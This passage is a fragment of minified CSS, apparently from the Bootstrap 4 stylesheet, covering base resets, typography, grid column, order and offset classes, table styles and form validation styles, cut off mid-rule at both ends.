New",monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:80%;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#6c757d}.blockquote-footer::before{content:"\2014\00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-ms-flex-order:-1;order:-1}.order-last{-ms-flex-order:13;order:13}.order-0{-ms-flex-order:0;order:0}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}.order-3{-ms-flex-order:3;order:3}.order-4{-ms-flex-order:4;order:4}.order-5{-ms-flex-order:5;order:5}.order-6{-ms-flex-order:6;order:6}.order-7{-ms-flex-order:7;order:7}.order-8{-ms-flex-order:8;order:8}.order-9{-ms-flex-order:9;order:9}.order-10{-ms-flex-order:10;order:10}.order-11{-ms-flex-order:11;order:11}.order-12{-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-sm-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-ms-flex-order:-1;order:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:10;order:10}.order-sm-11{-ms-flex-order:11;order:11}.order-sm-12{-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-md-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-ms-flex-order:-1;order:-1}.order-md-last{-ms-flex-order:13;order:13}.order-md-0{-ms-flex-order:0;order:0}.order-md-1{-ms-flex-order:1;order:1}.order-md-2{-ms-flex-order:2;order:2}.order-md-3{-ms-flex-order:3;order:3}.order-md-4{-ms-flex-order:4;order:4}.order-md-5{-ms-flex-order:5;order:5}.order-md-6{-ms-flex-order:6;order:6}.order-md-7{-ms-flex-order:7;order:7}.order-md-8{-ms-flex-order:8;order:8}.order-md-9{-ms-flex-order:9;order:9}.order-md-10{-ms-flex-order:10;order:10}.order-md-11{-ms-flex-order:11;order:11}.order-md-12{-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-lg-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-ms-flex-order:-1;order:-1}.order-lg-last{-ms-flex-order:13;order:13}.order-lg-0{-ms-flex-order:0;order:0}.order-lg-1{-ms-flex-order:1;order:1}.order-lg-2{-ms-flex-order:2;order:2}.order-lg-3{-ms-flex-order:3;order:3}.order-lg-4{-ms-flex-order:4;order:4}.order-lg-5{-ms-flex-order:5;order:5}.order-lg-6{-ms-flex-order:6;order:6}.order-lg-7{-ms-flex-order:7;order:7}.order-lg-8{-ms-flex-order:8;order:8}.order-lg-9{-ms-flex-order:9;order:9}.order-lg-10{-ms-flex-order:10;order:10}.order-lg-11{-ms-flex-order:11;order:11}.order-lg-12{-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-xl-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-ms-flex-order:-1;order:-1}.order-xl-last{-ms-flex-order:13;order:13}.order-xl-0{-ms-flex-order:0;order:0}.order-xl-1{-ms-flex-order:1;order:1}.order-xl-2{-ms-flex-order:2;order:2}.order-xl-3{-ms-flex-order:3;order:3}.order-xl-4{-ms-flex-order:4;order:4}.order-xl-5{-ms-flex-order:5;order:5}.order-xl-6{-ms-flex-order:6;order:6}.order-xl-7{-ms-flex-order:7;order:7}.order-xl-8{-ms-flex-order:8;order:8}.order-xl-9{-ms-flex-order:9;order:9}.order-xl-10{-ms-flex-order:10;order:10}.order-xl-11{-ms-flex-order:11;order:11}.order-xl-12{-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.table{width:100%;margin-bottom:1rem;color:#212529}.table td,.table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table-sm td,.table-sm th{padding:.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,.05)}.table-hover tbody tr:hover{color:#212529;background-color:rgba(0,0,0,.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#b8daff}.table-primary tbody+tbody,.table-primary td,.table-primary th,.table-primary thead th{border-color:#7abaff}.table-hover .table-primary:hover{background-color:#9fcdff}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#9fcdff}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#d6d8db}.table-secondary tbody+tbody,.table-secondary td,.table-secondary th,.table-secondary thead th{border-color:#b3b7bb}.table-hover .table-secondary:hover{background-color:#c8cbcf}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c8cbcf}.table-success,.table-success>td,.table-success>th{background-color:#c3e6cb}.table-success tbody+tbody,.table-success td,.table-success th,.table-success thead th{border-color:#8fd19e}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-info>th{background-color:#bee5eb}.table-info tbody+tbody,.table-info td,.table-info th,.table-info thead th{border-color:#86cfda}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-warning tbody+tbody,.table-warning td,.table-warning th,.table-warning thead th{border-color:#ffdf7e}.table-hover .table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f5c6cb}.table-danger tbody+tbody,.table-danger td,.table-danger th,.table-danger thead th{border-color:#ed969e}.table-hover .table-danger:hover{background-color:#f1b0b7}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfe}.table-light tbody+tbody,.table-light td,.table-light th,.table-light thead th{border-color:#fbfcfc}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#95999c}.table-hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;background-color:#343a40;border-color:#454d55}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#343a40}.table-dark td,.table-dark th,.table-dark thead th{border-color:#454d55}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.table-dark.table-hover tbody tr:hover{color:#fff;background-color:rgba(255,255,255,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.form-control::-webkit-input-placeholder{color:#6c757d;opacity:1}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control:-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:.375rem;padding-bottom:.375rem;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.form-control-lg{height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}select.form-control[multiple],select.form-control[size]{height:auto}textarea.form-control{height:auto}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:.25rem}.form-row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label{color:#6c757d}.form-check-label{margin-bottom:0}.form-check-inline{display:-ms-inline-flexbox;display:inline-flex;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#28a745}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(40,167,69,.9);border-radius:.25rem}.form-control.is-valid,.was-validated .form-control:valid{border-color:#28a745;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:center right calc(.375em + .1875rem);background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.form-control.is-valid~.valid-feedback,.form-control.is-valid~.valid-tooltip,.was-validated .form-control:valid~.valid-feedback,.was-validated .form-control:valid~.valid-tooltip{display:block}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-valid,.was-validated .custom-select:valid{border-color:#28a745;padding-right:calc((1em + .75rem) * 3 / 4 + 1.75rem);background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px,url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e") #fff no-repeat center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem)}.custom-select.is-valid:focus,.was-validated .custom-select:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-select.is-valid~.valid-feedback,.custom-select.is-valid~.valid-tooltip,.was-validated .custom-select:valid~.valid-feedback,.was-validated .custom-select:valid~.valid-tooltip{display:block}.form-control-file.is-valid~.valid-feedback,.form-control-file.is-valid~.valid-tooltip,.was-validated .form-control-file:valid~.valid-feedback,.was-validated .form-control-file:valid~.valid-tooltip{display:block}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#28a745}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-control-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{border-color:#28a745}.custom-control-input.is-valid~.valid-feedback,.custom-control-input.is-valid~.valid-tooltip,.was-validated .custom-control-input:valid~.valid-feedback,.was-validated .custom-control-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid:checked~.custom-control-label::before,.was-validated .custom-control-input:valid:checked~.custom-control-label::before{border-color:#34ce57;background-color:#34ce57}.custom-control-input.is-valid:focus~.custom-control-label::before,.was-validated .custom-control-input:valid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-control-input.is-valid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:valid:focus:not(:checked)~.custom-control-label::before{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid~.valid-feedback,.custom-file-input.is-valid~.valid-tooltip,.was-validated 